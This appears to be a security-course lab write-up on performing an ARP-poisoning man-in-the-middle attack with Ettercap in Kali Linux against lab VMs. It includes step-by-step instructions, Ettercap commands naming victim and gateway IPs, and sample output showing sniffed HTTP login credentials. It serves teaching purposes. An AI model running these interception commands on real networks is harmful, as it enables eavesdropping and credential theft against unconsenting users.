

Experiment 3

Man-in-the-Middle Attack using Ettercap

AIM

To perform a Man-in-the-Middle (MITM) attack on a local network using Ettercap in Kali Linux through ARP poisoning and capture network traffic between two hosts to understand the impact of this attack.

REQUIREMENTS

OS	Kali Linux 2024 (Attacker Machine)
Tool	Ettercap (pre-installed in Kali), Wireshark
Network	Same LAN / VMware Host-Only or Bridged network
Victims	Two VMs on same network (e.g., Metasploitable + Windows XP VM)
Privileges	Root access required

THEORY

A Man-in-the-Middle (MITM) attack occurs when an attacker secretly intercepts and possibly alters communications between two parties who believe they are communicating directly.

ARP Poisoning exploits the Address Resolution Protocol, which maps IP addresses to MAC addresses. The attacker sends fake ARP replies to the gateway and victim, replacing correct MAC addresses with the attacker's MAC, causing all traffic to route through the attacker.

Ettercap is a comprehensive MITM attack tool supporting ARP poisoning, DNS spoofing, password sniffing, and SSL stripping. It provides both GUI and command-line interfaces.

PROCEDURE

- Setup network — Ensure Kali, Victim1, and Victim2 are on the same subnet.
- Enable IP forwarding on Kali so packets are forwarded after sniffing.
- Open Ettercap in GUI mode: ettercap -G
- In Ettercap GUI ® Sniff menu ® Unified Sniffing ® Select eth0.
- Hosts menu ® Scan for Hosts. Wait for scan to complete.
- Hosts menu ® Hosts List. Select Victim1 IP ® Add to Target 1.
- Select Gateway/Router IP ® Add to Target 2.
- Mitm menu ® ARP Poisoning ® Select 'Sniff remote connections' ® OK.
- Start menu ® Start Sniffing. Ettercap begins poisoning ARP tables.
- View menu ® Connections ® Monitor active connections.
- Open Wireshark to capture and analyse intercepted traffic.
- On Victim machine, browse to an HTTP website or telnet to a host.
- In Ettercap, View ® Statistics to see captured credentials.
- Stop the attack: Mitm ® Stop mitm attack (restores ARP tables).

COMMANDS

```
# Enable IP forwarding (must be done before attack)
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward # Output: 1

# Check network interface and ARP table
ifconfig
arp -a

# Launch Ettercap GUI
ettercap -G

# OR launch Ettercap in text mode (command line)
# Target1: Victim IP Target2: Gateway IP
ettercap -T -q -M arp:remote /192.168.1.10// /192.168.1.1//
# -T = text mode -q = quiet -M arp = MITM via ARP
```

OUTPUT

```
root@kali:~# cat /proc/sys/net/ipv4/ip_forward
1

# ARP table BEFORE attack (Normal)
_gateway (192.168.1.1) at aa:bb:cc:dd:ee:01 [ether] on eth0
victim1 (192.168.1.10) at 11:22:33:44:55:66 [ether] on eth0

# ARP table AFTER poisoning (Both point to attacker MAC)
_gateway (192.168.1.1) at 00:0c:29:3a:f1:22 [ether] on eth0
victim1 (192.168.1.10) at 00:0c:29:3a:f1:22 [ether] on eth0

# Ettercap console output
ARP poisoning victims:
GROUP 1 : 192.168.1.10 11:22:33:44:55:66
GROUP 2 : 192.168.1.1 aa:bb:cc:dd:ee:01

HTTP : 192.168.1.10:50302 -> 192.168.1.1
USER: admin PASS: password123
INFO: http://testsite.local/login

# Wireshark - Intercepted HTTP POST
POST /login HTTP/1.1
username=admin&password=password123
```

RESULT

MITM attack was successfully performed using Ettercap on the local network. ARP poisoning redirected traffic from the victim to the attacker machine. HTTP credentials (username: admin, password: password123) were captured in plaintext using Ettercap and verified with Wireshark. This demonstrates the danger of using unencrypted HTTP protocols.